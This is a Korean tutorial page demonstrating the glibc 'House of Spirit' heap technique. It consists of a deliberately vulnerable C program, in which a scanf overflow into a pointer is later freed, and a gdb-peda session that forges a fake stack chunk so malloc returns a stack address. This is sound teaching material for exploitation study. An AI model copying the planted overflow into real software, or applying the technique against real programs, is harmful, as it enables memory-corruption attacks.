Excuse the ads! We need some help to keep our site up.
#include <stdio.h> #include <stdlib.h> #include <string.h> void main(){ unsigned long *ptr; char fakeChunk[160]; printf("fakeChunk : %p\n",fakeChunk); printf("ptr : %p\n",&ptr); scanf("%176s",fakeChunk); malloc(1000); free(ptr); char *stack = malloc(0x70); char *test1 = malloc(0x70); char *test2 = malloc(0x500); printf("Stack : %p\n",stack); } |
0x40067b - scanf() 함수 호출
0x400691 - free() 함수 호출
0x40069b - malloc() 함수 호출
gdb-peda$ b *0x000000000040067b Breakpoint 1 at 0x40067b gdb-peda$ b *0x0000000000400691 Breakpoint 2 at 0x400691 gdb-peda$ b *0x000000000040069b Breakpoint 3 at 0x40069b |
gdb-peda$ r Starting program: /home/lazenca0x0/Documents/heap/spirit fakeChunk : 0x7fffffffe1c0 ptr : 0x7fffffffe260 Breakpoint 1, 0x000000000040067b in main () gdb-peda$ x/22gx 0x7fffffffe1c0 0x7fffffffe1c0: 0x0000000000000000 0x0000000000000000 0x7fffffffe1d0: 0x0000000000000000 0x0000000000000000 0x7fffffffe1e0: 0x0000000000000000 0x00007ffff7ffe520 0x7fffffffe1f0: 0x00007fffffffe220 0x00007fffffffe210 0x7fffffffe200: 0x00000000f63d4e2e 0x0000000000400388 0x7fffffffe210: 0x00000000ffffffff 0x00007fffffffe378 0x7fffffffe220: 0x00007ffff7a211f8 0x00007ffff7ff74c0 0x7fffffffe230: 0x00007ffff7ffe1c8 0x0000000000000000 0x7fffffffe240: 0x0000000000000001 0x000000000040071d 0x7fffffffe250: 0x00007fffffffe280 0x0000000000000000 0x7fffffffe260: 0x00000000004006d0 0x0000000000400540 gdb-peda$ ni AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB |
Fake chunk 영역(0x7fffffffe1c0 ~ 0x7fffffffe248) : Chunk size - 0x70, Top chunk - 0x1000
0x0000000000400680 in main () gdb-peda$ x/22gx 0x7fffffffe1c0 0x7fffffffe1c0: 0x4141414141414141 0x4141414141414141 0x7fffffffe1d0: 0x4141414141414141 0x4141414141414141 0x7fffffffe1e0: 0x4141414141414141 0x4141414141414141 0x7fffffffe1f0: 0x4141414141414141 0x4141414141414141 0x7fffffffe200: 0x4141414141414141 0x4141414141414141 0x7fffffffe210: 0x4141414141414141 0x4141414141414141 0x7fffffffe220: 0x4141414141414141 0x4141414141414141 0x7fffffffe230: 0x4141414141414141 0x4141414141414141 0x7fffffffe240: 0x4141414141414141 0x4141414141414141 0x7fffffffe250: 0x4141414141414141 0x4141414141414141 0x7fffffffe260: 0x4242424242424242 0x0000000000400500 gdb-peda$ set *0x7fffffffe1c8 = 0x80 gdb-peda$ set *0x7fffffffe1cc = 0x0 gdb-peda$ set *0x7fffffffe248 = 0x10000 gdb-peda$ set *0x7fffffffe24c = 0x0 gdb-peda$ set *0x7fffffffe260 = 0x7fffffffe1d0 gdb-peda$ set *0x7fffffffe264 = 0x7fff gdb-peda$ x/22gx 0x7fffffffe1c0 0x7fffffffe1c0: 0x4141414141414141 0x0000000000000080 0x7fffffffe1d0: 0x4141414141414141 0x4141414141414141 0x7fffffffe1e0: 0x4141414141414141 0x4141414141414141 0x7fffffffe1f0: 0x4141414141414141 0x4141414141414141 0x7fffffffe200: 0x4141414141414141 0x4141414141414141 0x7fffffffe210: 0x4141414141414141 0x4141414141414141 0x7fffffffe220: 0x4141414141414141 0x4141414141414141 0x7fffffffe230: 0x4141414141414141 0x4141414141414141 0x7fffffffe240: 0x4141414141414141 0x0000000000010000 0x7fffffffe250: 0x4141414141414141 0x4141414141414141 0x7fffffffe260: 0x00007fffffffe1d0 0x0000000000400500 gdb-peda$ |
Breakpoint 2, 0x0000000000400691 in main () gdb-peda$ i r rdi rdi 0x7fffffffe1d0 0x7fffffffe1d0 gdb-peda$ p main_arena.fastbinsY $3 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0} gdb-peda$ ni 0x0000000000400696 in main () gdb-peda$ p main_arena.fastbinsY $4 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x7fffffffe1c0, 0x0, 0x0, 0x0} gdb-peda$ c Breakpoint 3, 0x000000000040069b in main () gdb-peda$ ni 0x00000000004006a0 in main () gdb-peda$ i r rax rax 0x7fffffffe1d0 0x7fffffffe1d0 gdb-peda$ x/16gx 0x7fffffffe1d0 0x7fffffffe1d0: 0x0000000000000000 0x4141414141414141 0x7fffffffe1e0: 0x4141414141414141 0x4141414141414141 0x7fffffffe1f0: 0x4141414141414141 0x4141414141414141 0x7fffffffe200: 0x4141414141414141 0x4141414141414141 0x7fffffffe210: 0x4141414141414141 0x4141414141414141 0x7fffffffe220: 0x4141414141414141 0x4141414141414141 0x7fffffffe230: 0x4141414141414141 0x4141414141414141 0x7fffffffe240: 0x4141414141414141 0x0000000000010000 gdb-peda$ p main_arena.fastbinsY $2 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0} gdb-peda$ ni ... gdb-peda$ i r rax rax 0x602400 0x602400 gdb-peda$ |